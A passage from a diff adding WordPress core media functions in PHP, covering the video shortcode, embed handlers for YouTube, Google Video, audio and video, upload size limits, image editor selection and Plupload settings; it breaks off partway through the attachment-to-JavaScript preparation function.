+ * Return a filtered list of WP-supported video formats
+ *
+ * @since 3.6.0
+ * @return array
+ */
+function wp_get_video_extensions() {
+	/**
+	 * Filter the list of supported video formats.
+	 *
+	 * @since 3.6.0
+	 *
+	 * @param array $extensions An array of support video formats. Defaults are
+	 *                          'mp4', 'm4v', 'webm', 'ogv', 'wmv', 'flv'.
+	 */
+	return apply_filters( 'wp_video_extensions', array( 'mp4', 'm4v', 'webm', 'ogv', 'wmv', 'flv' ) );
+}
+
+/**
+ * The Video shortcode.
+ *
+ * This implements the functionality of the Video Shortcode for displaying
+ * WordPress mp4s in a post.
+ *
+ * @since 3.6.0
+ *
+ * @param array $attr {
+ *     Attributes of the shortcode.
+ *
+ *     @type string $src      URL to the source of the video file. Default empty.
+ *     @type int    $height   Height of the video embed in pixels. Default 360.
+ *     @type int    $width    Width of the video embed in pixels. Default $content_width or 640.
+ *     @type string $poster   The 'poster' attribute for the `<video>` element. Default empty.
+ *     @type string $loop     The 'loop' attribute for the `<video>` element. Default empty.
+ *     @type string $autoplay The 'autoplay' attribute for the `<video>` element. Default empty.
+ *     @type string $preload  The 'preload' attribute for the `<video>` element.
+ *                            Default 'metadata'.
+ *     @type string $class    The 'class' attribute for the `<video>` element.
+ *                            Default 'wp-video-shortcode'.
+ *     @type string $id       The 'id' attribute for the `<video>` element.
+ *                            Default 'video-{$post_id}-{$instances}'.
+ * }
+ * @param string $content Optional. Shortcode content.
+ * @return string HTML content to display video.
+ */
+function wp_video_shortcode( $attr, $content = '' ) {
+	global $content_width;
+	$post_id = get_post() ? get_the_ID() : 0;
+
+	static $instances = 0;
+	$instances++;
+
+	/**
+	 * Filter the default video shortcode output.
+	 *
+	 * If the filtered output isn't empty, it will be used instead of generating
+	 * the default video template.
+	 *
+	 * @since 3.6.0
+	 *
+	 * @see wp_video_shortcode()
+	 *
+	 * @param string $html      Empty variable to be replaced with shortcode markup.
+	 * @param array  $attr      Attributes of the video shortcode.
+	 * @param string $content   Video shortcode content.
+	 * @param int    $instances Unique numeric ID of this video shortcode instance.
+	 */
+	$override = apply_filters( 'wp_video_shortcode_override', '', $attr, $content, $instances );
+	if ( '' !== $override ) {
+		return $override;
+	}
+
+	$video = null;
+
+	$default_types = wp_get_video_extensions();
+	$defaults_atts = array(
+		'src'      => '',
+		'poster'   => '',
+		'loop'     => '',
+		'autoplay' => '',
+		'preload'  => 'metadata',
+		'width'    => 640,
+		'height'   => 360,
+	);
+
+	foreach ( $default_types as $type ) {
+		$defaults_atts[$type] = '';
+	}
+
+	$atts = shortcode_atts( $defaults_atts, $attr, 'video' );
+
+	if ( is_admin() ) {
+		// shrink the video so it isn't huge in the admin
+		if ( $atts['width'] > $defaults_atts['width'] ) {
+			$atts['height'] = round( ( $atts['height'] * $defaults_atts['width'] ) / $atts['width'] );
+			$atts['width'] = $defaults_atts['width'];
+		}
+	} else {
+		// if the video is bigger than the theme
+		if ( ! empty( $content_width ) && $atts['width'] > $content_width ) {
+			$atts['height'] = round( ( $atts['height'] * $content_width ) / $atts['width'] );
+			$atts['width'] = $content_width;
+		}
+	}
+
+	$yt_pattern = '#^https?://(?:www\.)?(?:youtube\.com/watch|youtu\.be/)#';
+
+	$primary = false;
+	if ( ! empty( $atts['src'] ) ) {
+		if ( ! preg_match( $yt_pattern, $atts['src'] ) ) {
+			$type = wp_check_filetype( $atts['src'], wp_get_mime_types() );
+			if ( ! in_array( strtolower( $type['ext'] ), $default_types ) ) {
+				return sprintf( '<a class="wp-embedded-video" href="%s">%s</a>', esc_url( $atts['src'] ), esc_html( $atts['src'] ) );
+			}
+		}
+		$primary = true;
+		array_unshift( $default_types, 'src' );
+	} else {
+		foreach ( $default_types as $ext ) {
+			if ( ! empty( $atts[ $ext ] ) ) {
+				$type = wp_check_filetype( $atts[ $ext ], wp_get_mime_types() );
+				if ( strtolower( $type['ext'] ) === $ext ) {
+					$primary = true;
+				}
+			}
+		}
+	}
+
+	if ( ! $primary ) {
+		$videos = get_attached_media( 'video', $post_id );
+		if ( empty( $videos ) ) {
+			return;
+		}
+
+		$video = reset( $videos );
+		$atts['src'] = wp_get_attachment_url( $video->ID );
+		if ( empty( $atts['src'] ) ) {
+			return;
+		}
+
+		array_unshift( $default_types, 'src' );
+	}
+
+	/**
+	 * Filter the media library used for the video shortcode.
+	 *
+	 * @since 3.6.0
+	 *
+	 * @param string $library Media library used for the video shortcode.
+	 */
+	$library = apply_filters( 'wp_video_shortcode_library', 'mediaelement' );
+	if ( 'mediaelement' === $library && did_action( 'init' ) ) {
+		wp_enqueue_style( 'wp-mediaelement' );
+		wp_enqueue_script( 'wp-mediaelement' );
+	}
+
+	/**
+	 * Filter the class attribute for the video shortcode output container.
+	 *
+	 * @since 3.6.0
+	 *
+	 * @param string $class CSS class or list of space-separated classes.
+	 */
+	$html_atts = array(
+		'class'    => apply_filters( 'wp_video_shortcode_class', 'wp-video-shortcode' ),
+		'id'       => sprintf( 'video-%d-%d', $post_id, $instances ),
+		'width'    => absint( $atts['width'] ),
+		'height'   => absint( $atts['height'] ),
+		'poster'   => esc_url( $atts['poster'] ),
+		'loop'     => wp_validate_boolean( $atts['loop'] ),
+		'autoplay' => wp_validate_boolean( $atts['autoplay'] ),
+		'preload'  => $atts['preload'],
+	);
+
+	// These ones should just be omitted altogether if they are blank
+	foreach ( array( 'poster', 'loop', 'autoplay', 'preload' ) as $a ) {
+		if ( empty( $html_atts[$a] ) ) {
+			unset( $html_atts[$a] );
+		}
+	}
+
+	$attr_strings = array();
+	foreach ( $html_atts as $k => $v ) {
+		$attr_strings[] = $k . '="' . esc_attr( $v ) . '"';
+	}
+
+	$html = '';
+	if ( 'mediaelement' === $library && 1 === $instances ) {
+		$html .= "<!--[if lt IE 9]><script>document.createElement('video');</script><![endif]-->\n";
+	}
+	$html .= sprintf( '<video %s controls="controls">', join( ' ', $attr_strings ) );
+
+	$fileurl = '';
+	$source = '<source type="%s" src="%s" />';
+	foreach ( $default_types as $fallback ) {
+		if ( ! empty( $atts[ $fallback ] ) ) {
+			if ( empty( $fileurl ) ) {
+				$fileurl = $atts[ $fallback ];
+			}
+			if ( 'src' === $fallback && preg_match( $yt_pattern, $atts['src'] ) ) {
+				$type = array( 'type' => 'video/youtube' );
+			} else {
+				$type = wp_check_filetype( $atts[ $fallback ], wp_get_mime_types() );
+			}
+			$url = add_query_arg( '_', $instances, $atts[ $fallback ] );
+			$html .= sprintf( $source, $type['type'], esc_url( $url ) );
+		}
+	}
+
+	if ( ! empty( $content ) ) {
+		if ( false !== strpos( $content, "\n" ) ) {
+			$content = str_replace( array( "\r\n", "\n", "\t" ), '', $content );
+		}
+		$html .= trim( $content );
+	}
+
+	if ( 'mediaelement' === $library ) {
+		$html .= wp_mediaelement_fallback( $fileurl );
+	}
+	$html .= '</video>';
+
+	$width_rule = '';
+	if ( ! empty( $atts['width'] ) ) {
+		$width_rule = sprintf( 'width: %dpx; ', $atts['width'] );
+	}
+	$output = sprintf( '<div style="%s" class="wp-video">%s</div>', $width_rule, $html );
+
+	/**
+	 * Filter the output of the video shortcode.
+	 *
+	 * @since 3.6.0
+	 *
+	 * @param string $output  Video shortcode HTML output.
+	 * @param array  $atts    Array of video shortcode attributes.
+	 * @param string $video   Video file.
+	 * @param int    $post_id Post ID.
+	 * @param string $library Media library used for the video shortcode.
+	 */
+	return apply_filters( 'wp_video_shortcode', $output, $atts, $video, $post_id, $library );
+}
+add_shortcode( 'video', 'wp_video_shortcode' );
+
+/**
+ * Display previous image link that has the same post parent.
+ *
+ * @since 2.5.0
+ * @param string $size Optional, default is 'thumbnail'. Size of image, either array or string. 0 or 'none' will default to post_title or $text;
+ * @param string $text Optional, default is false. If included, link will reflect $text variable.
+ * @return string HTML content.
+ */
+function previous_image_link($size = 'thumbnail', $text = false) {
+	adjacent_image_link(true, $size, $text);
+}
+
+/**
+ * Display next image link that has the same post parent.
+ *
+ * @since 2.5.0
+ * @param string $size Optional, default is 'thumbnail'. Size of image, either array or string. 0 or 'none' will default to post_title or $text;
+ * @param string $text Optional, default is false. If included, link will reflect $text variable.
+ * @return string HTML content.
+ */
+function next_image_link($size = 'thumbnail', $text = false) {
+	adjacent_image_link(false, $size, $text);
+}
+
+/**
+ * Display next or previous image link that has the same post parent.
+ *
+ * Retrieves the current attachment object from the $post global.
+ *
+ * @since 2.5.0
+ *
+ * @param bool $prev Optional. Default is true to display previous link, false for next.
+ */
+function adjacent_image_link($prev = true, $size = 'thumbnail', $text = false) {
+	$post = get_post();
+	$attachments = array_values( get_children( array( 'post_parent' => $post->post_parent, 'post_status' => 'inherit', 'post_type' => 'attachment', 'post_mime_type' => 'image', 'order' => 'ASC', 'orderby' => 'menu_order ID' ) ) );
+
+	foreach ( $attachments as $k => $attachment ) {
+		if ( $attachment->ID == $post->ID ) {
+			break;
+		}
+	}
+
+	$output = '';
+	$attachment_id = 0;
+
+	if ( $attachments ) {
+		$k = $prev ? $k - 1 : $k + 1;
+
+		if ( isset( $attachments[ $k ] ) ) {
+			$attachment_id = $attachments[ $k ]->ID;
+			$output = wp_get_attachment_link( $attachment_id, $size, true, false, $text );
+		}
+	}
+
+	$adjacent = $prev ? 'previous' : 'next';
+
+	/**
+	 * Filter the adjacent image link.
+	 *
+	 * The dynamic portion of the hook name, `$adjacent`, refers to the type of adjacency,
+	 * either 'next', or 'previous'.
+	 *
+	 * @since 3.5.0
+	 *
+	 * @param string $output        Adjacent image HTML markup.
+	 * @param int    $attachment_id Attachment ID
+	 * @param string $size          Image size.
+	 * @param string $text          Link text.
+	 */
+	echo apply_filters( "{$adjacent}_image_link", $output, $attachment_id, $size, $text );
+}
+
+/**
+ * Retrieve taxonomies attached to the attachment.
+ *
+ * @since 2.5.0
+ *
+ * @param int|array|object $attachment Attachment ID, Attachment data array, or Attachment data object.
+ * @return array Empty array on failure. List of taxonomies on success.
+ */
+function get_attachment_taxonomies($attachment) {
+	if ( is_int( $attachment ) )
+		$attachment = get_post($attachment);
+	else if ( is_array($attachment) )
+		$attachment = (object) $attachment;
+
+	if ( ! is_object($attachment) )
+		return array();
+
+	$filename = basename($attachment->guid);
+
+	$objects = array('attachment');
+
+	if ( false !== strpos($filename, '.') )
+		$objects[] = 'attachment:' . substr($filename, strrpos($filename, '.') + 1);
+	if ( !empty($attachment->post_mime_type) ) {
+		$objects[] = 'attachment:' . $attachment->post_mime_type;
+		if ( false !== strpos($attachment->post_mime_type, '/') )
+			foreach ( explode('/', $attachment->post_mime_type) as $token )
+				if ( !empty($token) )
+					$objects[] = "attachment:$token";
+	}
+
+	$taxonomies = array();
+	foreach ( $objects as $object )
+		if ( $taxes = get_object_taxonomies($object) )
+			$taxonomies = array_merge($taxonomies, $taxes);
+
+	return array_unique($taxonomies);
+}
+
+/**
+ * Return all of the taxonomy names that are registered for attachments.
+ *
+ * Handles mime-type-specific taxonomies such as attachment:image and attachment:video.
+ *
+ * @since 3.5.0
+ * @see get_attachment_taxonomies()
+ *
+ * @param string $output The type of output to return, either taxonomy 'names' or 'objects'. 'names' is the default.
+ * @return array The names of all taxonomy of $object_type.
+ */
+function get_taxonomies_for_attachments( $output = 'names' ) {
+	$taxonomies = array();
+	foreach ( get_taxonomies( array(), 'objects' ) as $taxonomy ) {
+		foreach ( $taxonomy->object_type as $object_type ) {
+			if ( 'attachment' == $object_type || 0 === strpos( $object_type, 'attachment:' ) ) {
+				if ( 'names' == $output )
+					$taxonomies[] = $taxonomy->name;
+				else
+					$taxonomies[ $taxonomy->name ] = $taxonomy;
+				break;
+			}
+		}
+	}
+
+	return $taxonomies;
+}
+
+/**
+ * Create new GD image resource with transparency support
+ * @TODO: Deprecate if possible.
+ *
+ * @since 2.9.0
+ *
+ * @param int $width Image width
+ * @param int $height Image height
+ * @return resource resource
+ */
+function wp_imagecreatetruecolor($width, $height) {
+	$img = imagecreatetruecolor($width, $height);
+	if ( is_resource($img) && function_exists('imagealphablending') && function_exists('imagesavealpha') ) {
+		imagealphablending($img, false);
+		imagesavealpha($img, true);
+	}
+	return $img;
+}
+
+/**
+ * Register an embed handler. This function should probably only be used for sites that do not support oEmbed.
+ *
+ * @since 2.9.0
+ * @see WP_Embed::register_handler()
+ *
+ * @global WP_Embed $wp_embed
+ * @param string   $id
+ * @param string   $regex
+ * @param callable $callback
+ * @param int      $priority
+ */
+function wp_embed_register_handler( $id, $regex, $callback, $priority = 10 ) {
+	global $wp_embed;
+	$wp_embed->register_handler( $id, $regex, $callback, $priority );
+}
+
+/**
+ * Unregister a previously registered embed handler.
+ *
+ * @since 2.9.0
+ * @see WP_Embed::unregister_handler()
+ *
+ * @global WP_Embed $wp_embed
+ * @param string $id
+ * @param int    $priority
+ */
+function wp_embed_unregister_handler( $id, $priority = 10 ) {
+	global $wp_embed;
+	$wp_embed->unregister_handler( $id, $priority );
+}
+
+/**
+ * Create default array of embed parameters.
+ *
+ * The width defaults to the content width as specified by the theme. If the
+ * theme does not specify a content width, then 500px is used.
+ *
+ * The default height is 1.5 times the width, or 1000px, whichever is smaller.
+ *
+ * The 'embed_defaults' filter can be used to adjust either of these values.
+ *
+ * @since 2.9.0
+ *
+ * @param string $url Optional. The URL that should be embedded. Default empty.
+ *
+ * @return array Default embed parameters.
+ */
+function wp_embed_defaults( $url = '' ) {
+	if ( ! empty( $GLOBALS['content_width'] ) )
+		$width = (int) $GLOBALS['content_width'];
+
+	if ( empty( $width ) )
+		$width = 500;
+
+	$height = min( ceil( $width * 1.5 ), 1000 );
+
+	/**
+	 * Filter the default array of embed dimensions.
+	 *
+	 * @since 2.9.0
+	 *
+	 * @param int    $width  Width of the embed in pixels.
+	 * @param int    $height Height of the embed in pixels.
+	 * @param string $url    The URL that should be embedded.
+	 */
+	return apply_filters( 'embed_defaults', compact( 'width', 'height' ), $url );
+}
+
+/**
+ * Based on a supplied width/height example, return the biggest possible dimensions based on the max width/height.
+ *
+ * @since 2.9.0
+ *
+ * @param int $example_width The width of an example embed.
+ * @param int $example_height The height of an example embed.
+ * @param int $max_width The maximum allowed width.
+ * @param int $max_height The maximum allowed height.
+ * @return array The maximum possible width and height based on the example ratio.
+ */
+function wp_expand_dimensions( $example_width, $example_height, $max_width, $max_height ) {
+	$example_width  = (int) $example_width;
+	$example_height = (int) $example_height;
+	$max_width      = (int) $max_width;
+	$max_height     = (int) $max_height;
+
+	return wp_constrain_dimensions( $example_width * 1000000, $example_height * 1000000, $max_width, $max_height );
+}
+
+/**
+ * Attempts to fetch the embed HTML for a provided URL using oEmbed.
+ *
+ * @since 2.9.0
+ * @see WP_oEmbed
+ *
+ * @param string $url The URL that should be embedded.
+ * @param array $args Additional arguments and parameters.
+ * @return false|string False on failure or the embed HTML on success.
+ */
+function wp_oembed_get( $url, $args = '' ) {
+	require_once( ABSPATH . WPINC . '/class-oembed.php' );
+	$oembed = _wp_oembed_get_object();
+	return $oembed->get_html( $url, $args );
+}
+
+/**
+ * Adds a URL format and oEmbed provider URL pair.
+ *
+ * @since 2.9.0
+ * @see WP_oEmbed
+ *
+ * @param string $format The format of URL that this provider can handle. You can use asterisks as wildcards.
+ * @param string $provider The URL to the oEmbed provider.
+ * @param boolean $regex Whether the $format parameter is in a regex format.
+ */
+function wp_oembed_add_provider( $format, $provider, $regex = false ) {
+	require_once( ABSPATH . WPINC . '/class-oembed.php' );
+
+	if ( did_action( 'plugins_loaded' ) ) {
+		$oembed = _wp_oembed_get_object();
+		$oembed->providers[$format] = array( $provider, $regex );
+	} else {
+		WP_oEmbed::_add_provider_early( $format, $provider, $regex );
+	}
+}
+
+/**
+ * Removes an oEmbed provider.
+ *
+ * @since 3.5.0
+ * @see WP_oEmbed
+ *
+ * @param string $format The URL format for the oEmbed provider to remove.
+ */
+function wp_oembed_remove_provider( $format ) {
+	require_once( ABSPATH . WPINC . '/class-oembed.php' );
+
+	if ( did_action( 'plugins_loaded' ) ) {
+		$oembed = _wp_oembed_get_object();
+
+		if ( isset( $oembed->providers[ $format ] ) ) {
+			unset( $oembed->providers[ $format ] );
+			return true;
+		}
+	} else {
+		WP_oEmbed::_remove_provider_early( $format );
+	}
+
+	return false;
+}
+
+/**
+ * Determines if default embed handlers should be loaded.
+ *
+ * Checks to make sure that the embeds library hasn't already been loaded. If
+ * it hasn't, then it will load the embeds library.
+ *
+ * @since 2.9.0
+ */
+function wp_maybe_load_embeds() {
+	/**
+	 * Filter whether to load the default embed handlers.
+	 *
+	 * Returning a falsey value will prevent loading the default embed handlers.
+	 *
+	 * @since 2.9.0
+	 *
+	 * @param bool $maybe_load_embeds Whether to load the embeds library. Default true.
+	 */
+	if ( ! apply_filters( 'load_default_embeds', true ) ) {
+		return;
+	}
+
+	wp_embed_register_handler( 'youtube_embed_url', '#https?://(www.)?youtube\.com/embed/([^/]+)#i', 'wp_embed_handler_youtube' );
+
+	wp_embed_register_handler( 'googlevideo', '#http://video\.google\.([A-Za-z.]{2,5})/videoplay\?docid=([\d-]+)(.*?)#i', 'wp_embed_handler_googlevideo' );
+
+	/**
+	 * Filter the audio embed handler callback.
+	 *
+	 * @since 3.6.0
+	 *
+	 * @param callback $handler Audio embed handler callback function.
+	 */
+	wp_embed_register_handler( 'audio', '#^https?://.+?\.(' . join( '|', wp_get_audio_extensions() ) . ')$#i', apply_filters( 'wp_audio_embed_handler', 'wp_embed_handler_audio' ), 9999 );
+
+	/**
+	 * Filter the video embed handler callback.
+	 *
+	 * @since 3.6.0
+	 *
+	 * @param callback $handler Video embed handler callback function.
+	 */
+	wp_embed_register_handler( 'video', '#^https?://.+?\.(' . join( '|', wp_get_video_extensions() ) . ')$#i', apply_filters( 'wp_video_embed_handler', 'wp_embed_handler_video' ), 9999 );
+}
+
+/**
+ * The Google Video embed handler callback. Google Video does not support oEmbed.
+ *
+ * @see WP_Embed::register_handler()
+ * @see WP_Embed::shortcode()
+ *
+ * @param array $matches The regex matches from the provided regex when calling {@link wp_embed_register_handler()}.
+ * @param array $attr Embed attributes.
+ * @param string $url The original URL that was matched by the regex.
+ * @param array $rawattr The original unmodified attributes.
+ * @return string The embed HTML.
+ */
+function wp_embed_handler_googlevideo( $matches, $attr, $url, $rawattr ) {
+	// If the user supplied a fixed width AND height, use it
+	if ( !empty($rawattr['width']) && !empty($rawattr['height']) ) {
+		$width  = (int) $rawattr['width'];
+		$height = (int) $rawattr['height'];
+	} else {
+		list( $width, $height ) = wp_expand_dimensions( 425, 344, $attr['width'], $attr['height'] );
+	}
+
+	/**
+	 * Filter the Google Video embed output.
+	 *
+	 * @since 2.9.0
+	 *
+	 * @param string $html    Google Video HTML embed markup.
+	 * @param array  $matches The regex matches from the provided regex.
+	 * @param array  $attr    An array of embed attributes.
+	 * @param string $url     The original URL that was matched by the regex.
+	 * @param array  $rawattr The original unmodified attributes.
+	 */
+	return apply_filters( 'embed_googlevideo', '<embed type="application/x-shockwave-flash" src="http://video.google.com/googleplayer.swf?docid=' . esc_attr($matches[2]) . '&amp;hl=en&amp;fs=true" style="width:' . esc_attr($width) . 'px;height:' . esc_attr($height) . 'px" allowFullScreen="true" allowScriptAccess="always" />', $matches, $attr, $url, $rawattr );
+}
+
+/**
+ * YouTube embed handler callback.
+ *
+ * Catches URLs that can be parsed but aren't supported by oEmbed.
+ *
+ * @since 4.0.0
+ *
+ * @param array  $matches The regex matches from the provided regex when calling
+ *                        {@see wp_embed_register_handler()}.
+ * @param array  $attr    Embed attributes.
+ * @param string $url     The original URL that was matched by the regex.
+ * @param array  $rawattr The original unmodified attributes.
+ * @return string The embed HTML.
+ */
+function wp_embed_handler_youtube( $matches, $attr, $url, $rawattr ) {
+	global $wp_embed;
+	$embed = $wp_embed->autoembed( "https://youtube.com/watch?v={$matches[2]}" );
+	/**
+	 * Filter the YoutTube embed output.
+	 *
+	 * @since 4.0.0
+	 *
+	 * @see wp_embed_handler_youtube()
+	 *
+	 * @param string $embed   YouTube embed output.
+	 * @param array  $attr    An array of embed attributes.
+	 * @param string $url     The original URL that was matched by the regex.
+	 * @param array  $rawattr The original unmodified attributes.
+	 */
+	return apply_filters( 'wp_embed_handler_youtube', $embed, $attr, $url, $rawattr );
+}
+
+/**
+ * Audio embed handler callback.
+ *
+ * @since 3.6.0
+ *
+ * @param array $matches The regex matches from the provided regex when calling {@link wp_embed_register_handler()}.
+ * @param array $attr Embed attributes.
+ * @param string $url The original URL that was matched by the regex.
+ * @param array $rawattr The original unmodified attributes.
+ * @return string The embed HTML.
+ */
+function wp_embed_handler_audio( $matches, $attr, $url, $rawattr ) {
+	$audio = sprintf( '[audio src="%s" /]', esc_url( $url ) );
+
+	/**
+	 * Filter the audio embed output.
+	 *
+	 * @since 3.6.0
+	 *
+	 * @param string $audio   Audio embed output.
+	 * @param array  $attr    An array of embed attributes.
+	 * @param string $url     The original URL that was matched by the regex.
+	 * @param array  $rawattr The original unmodified attributes.
+	 */
+	return apply_filters( 'wp_embed_handler_audio', $audio, $attr, $url, $rawattr );
+}
+
+/**
+ * Video embed handler callback.
+ *
+ * @since 3.6.0
+ *
+ * @param array $matches The regex matches from the provided regex when calling {@link wp_embed_register_handler()}.
+ * @param array $attr Embed attributes.
+ * @param string $url The original URL that was matched by the regex.
+ * @param array $rawattr The original unmodified attributes.
+ * @return string The embed HTML.
+ */
+function wp_embed_handler_video( $matches, $attr, $url, $rawattr ) {
+	$dimensions = '';
+	if ( ! empty( $rawattr['width'] ) && ! empty( $rawattr['height'] ) ) {
+		$dimensions .= sprintf( 'width="%d" ', (int) $rawattr['width'] );
+		$dimensions .= sprintf( 'height="%d" ', (int) $rawattr['height'] );
+	}
+	$video = sprintf( '[video %s src="%s" /]', $dimensions, esc_url( $url ) );
+
+	/**
+	 * Filter the video embed output.
+	 *
+	 * @since 3.6.0
+	 *
+	 * @param string $video   Video embed output.
+	 * @param array  $attr    An array of embed attributes.
+	 * @param string $url     The original URL that was matched by the regex.
+	 * @param array  $rawattr The original unmodified attributes.
+	 */
+	return apply_filters( 'wp_embed_handler_video', $video, $attr, $url, $rawattr );
+}
+
+/**
+ * Converts a shorthand byte value to an integer byte value.
+ *
+ * @since 2.3.0
+ *
+ * @param string $size A shorthand byte value.
+ * @return int An integer byte value.
+ */
+function wp_convert_hr_to_bytes( $size ) {
+	$size  = strtolower( $size );
+	$bytes = (int) $size;
+	if ( strpos( $size, 'k' ) !== false )
+		$bytes = intval( $size ) * 1024;
+	elseif ( strpos( $size, 'm' ) !== false )
+		$bytes = intval($size) * 1024 * 1024;
+	elseif ( strpos( $size, 'g' ) !== false )
+		$bytes = intval( $size ) * 1024 * 1024 * 1024;
+	return $bytes;
+}
+
+/**
+ * Determine the maximum upload size allowed in php.ini.
+ *
+ * @since 2.5.0
+ *
+ * @return int Allowed upload size.
+ */
+function wp_max_upload_size() {
+	$u_bytes = wp_convert_hr_to_bytes( ini_get( 'upload_max_filesize' ) );
+	$p_bytes = wp_convert_hr_to_bytes( ini_get( 'post_max_size' ) );
+
+	/**
+	 * Filter the maximum upload size allowed in php.ini.
+	 *
+	 * @since 2.5.0
+	 *
+	 * @param int $size    Max upload size limit in bytes.
+	 * @param int $u_bytes Maximum upload filesize in bytes.
+	 * @param int $p_bytes Maximum size of POST data in bytes.
+	 */
+	return apply_filters( 'upload_size_limit', min( $u_bytes, $p_bytes ), $u_bytes, $p_bytes );
+}
+
+/**
+ * Returns a WP_Image_Editor instance and loads file into it.
+ *
+ * @since 3.5.0
+ * @access public
+ *
+ * @param string $path Path to file to load
+ * @param array $args Additional data. Accepts { 'mime_type'=>string, 'methods'=>{string, string, ...} }
+ * @return WP_Image_Editor|WP_Error
+ */
+function wp_get_image_editor( $path, $args = array() ) {
+	$args['path'] = $path;
+
+	if ( ! isset( $args['mime_type'] ) ) {
+		$file_info = wp_check_filetype( $args['path'] );
+
+		// If $file_info['type'] is false, then we let the editor attempt to
+		// figure out the file type, rather than forcing a failure based on extension.
+		if ( isset( $file_info ) && $file_info['type'] )
+			$args['mime_type'] = $file_info['type'];
+	}
+
+	$implementation = _wp_image_editor_choose( $args );
+
+	if ( $implementation ) {
+		$editor = new $implementation( $path );
+		$loaded = $editor->load();
+
+		if ( is_wp_error( $loaded ) )
+			return $loaded;
+
+		return $editor;
+	}
+
+	return new WP_Error( 'image_no_editor', __('No editor could be selected.') );
+}
+
+/**
+ * Tests whether there is an editor that supports a given mime type or methods.
+ *
+ * @since 3.5.0
+ * @access public
+ *
+ * @param string|array $args Array of requirements. Accepts { 'mime_type'=>string, 'methods'=>{string, string, ...} }
+ * @return boolean true if an eligible editor is found; false otherwise
+ */
+function wp_image_editor_supports( $args = array() ) {
+	return (bool) _wp_image_editor_choose( $args );
+}
+
+/**
+ * Tests which editors are capable of supporting the request.
+ *
+ * @since 3.5.0
+ * @access private
+ *
+ * @param array $args Additional data. Accepts { 'mime_type'=>string, 'methods'=>{string, string, ...} }
+ * @return string|bool Class name for the first editor that claims to support the request. False if no editor claims to support the request.
+ */
+function _wp_image_editor_choose( $args = array() ) {
+	require_once ABSPATH . WPINC . '/class-wp-image-editor.php';
+	require_once ABSPATH . WPINC . '/class-wp-image-editor-gd.php';
+	require_once ABSPATH . WPINC . '/class-wp-image-editor-imagick.php';
+
+	/**
+	 * Filter the list of image editing library classes.
+	 *
+	 * @since 3.5.0
+	 *
+	 * @param array $image_editors List of available image editors. Defaults are
+	 *                             'WP_Image_Editor_Imagick', 'WP_Image_Editor_GD'.
+	 */
+	$implementations = apply_filters( 'wp_image_editors', array( 'WP_Image_Editor_Imagick', 'WP_Image_Editor_GD' ) );
+
+	foreach ( $implementations as $implementation ) {
+		if ( ! call_user_func( array( $implementation, 'test' ), $args ) )
+			continue;
+
+		if ( isset( $args['mime_type'] ) &&
+			! call_user_func(
+				array( $implementation, 'supports_mime_type' ),
+				$args['mime_type'] ) ) {
+			continue;
+		}
+
+		if ( isset( $args['methods'] ) &&
+			 array_diff( $args['methods'], get_class_methods( $implementation ) ) ) {
+			continue;
+		}
+
+		return $implementation;
+	}
+
+	return false;
+}
+
+/**
+ * Prints default plupload arguments.
+ *
+ * @since 3.4.0
+ */
+function wp_plupload_default_settings() {
+	global $wp_scripts;
+
+	$data = $wp_scripts->get_data( 'wp-plupload', 'data' );
+	if ( $data && false !== strpos( $data, '_wpPluploadSettings' ) )
+		return;
+
+	$max_upload_size = wp_max_upload_size();
+
+	$defaults = array(
+		'runtimes'            => 'html5,flash,silverlight,html4',
+		'file_data_name'      => 'async-upload', // key passed to $_FILE.
+		'url'                 => admin_url( 'async-upload.php', 'relative' ),
+		'flash_swf_url'       => includes_url( 'js/plupload/plupload.flash.swf' ),
+		'silverlight_xap_url' => includes_url( 'js/plupload/plupload.silverlight.xap' ),
+		'filters' => array(
+			'max_file_size'   => $max_upload_size . 'b',
+		),
+	);
+
+	// Currently only iOS Safari supports multiple files uploading but iOS 7.x has a bug that prevents uploading of videos
+	// when enabled. See #29602.
+	if ( wp_is_mobile() && strpos( $_SERVER['HTTP_USER_AGENT'], 'OS 7_' ) !== false &&
+		strpos( $_SERVER['HTTP_USER_AGENT'], 'like Mac OS X' ) !== false ) {
+
+		$defaults['multi_selection'] = false;
+	}
+
+	/**
+	 * Filter the Plupload default settings.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @param array $defaults Default Plupload settings array.
+	 */
+	$defaults = apply_filters( 'plupload_default_settings', $defaults );
+
+	$params = array(
+		'action' => 'upload-attachment',
+	);
+
+	/**
+	 * Filter the Plupload default parameters.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @param array $params Default Plupload parameters array.
+	 */
+	$params = apply_filters( 'plupload_default_params', $params );
+	$params['_wpnonce'] = wp_create_nonce( 'media-form' );
+	$defaults['multipart_params'] = $params;
+
+	$settings = array(
+		'defaults' => $defaults,
+		'browser'  => array(
+			'mobile'    => wp_is_mobile(),
+			'supported' => _device_can_upload(),
+		),
+		'limitExceeded' => is_multisite() && ! is_upload_space_available()
+	);
+
+	$script = 'var _wpPluploadSettings = ' . wp_json_encode( $settings ) . ';';
+
+	if ( $data )
+		$script = "$data\n$script";
+
+	$wp_scripts->add_data( 'wp-plupload', 'data', $script );
+}
+add_action( 'customize_controls_enqueue_scripts', 'wp_plupload_default_settings' );
+
+/**
+ * Prepares an attachment post object for JS, where it is expected
+ * to be JSON-encoded and fit into an Attachment model.
+ *
+ * @since 3.5.0
+ *
+ * @param mixed $attachment Attachment ID or object.
+ * @return array Array of attachment details.
+ */
+function wp_prepare_attachment_for_js( $attachment ) {
+	if ( ! $attachment = get_post( $attachment ) )
+		return;
+
+	if ( 'attachment' != $attachment->post_type )
+		return;
+
+	$meta = wp_get_attachment_metadata( $attachment->ID );
+	if ( false !== strpos( $attachment->post_mime_type, '/' ) )
+		list( $type, $subtype ) = explode( '/', $attachment->post_mime_type );
+	else
+		list( $type, $subtype ) = array( $attachment->post_mime_type, '' );
+
+	$attachment_url = wp_get_attachment_url( $attachment->ID );
+
+	$response = array(
+		'id'          => $attachment->ID,
+		'title'       => $attachment->post_title,
+		'filename'    => wp_basename( $attachment->guid ),
+		'url'         => $attachment_url,
+		'link'        => get_attachment_link( $attachment->ID ),
+		'alt'         => get_post_meta( $attachment->ID, '_wp_attachment_image_alt', true ),
+		'author'      => $attachment->post_author,
+		'description' => $attachment->post_content,
+		'caption'     => $attachment->post_excerpt,
+		'name'        => $attachment->post_name,
+		'status'      => $attachment->post_status,
+		'uploadedTo'  => $attachment->post_parent,
+		'date'        => strtotime( $attachment->post_date_gmt ) * 1000,
+		'modified'    => strtotime( $attachment->post_modified_gmt ) * 1000,
+		'menuOrder'   => $attachment->menu_order,
+		'mime'        => $attachment->post_mime_type,
+		'type'        => $type,
+		'subtype'     => $subtype,
+		'icon'        => wp_mime_type_icon( $attachment->ID ),
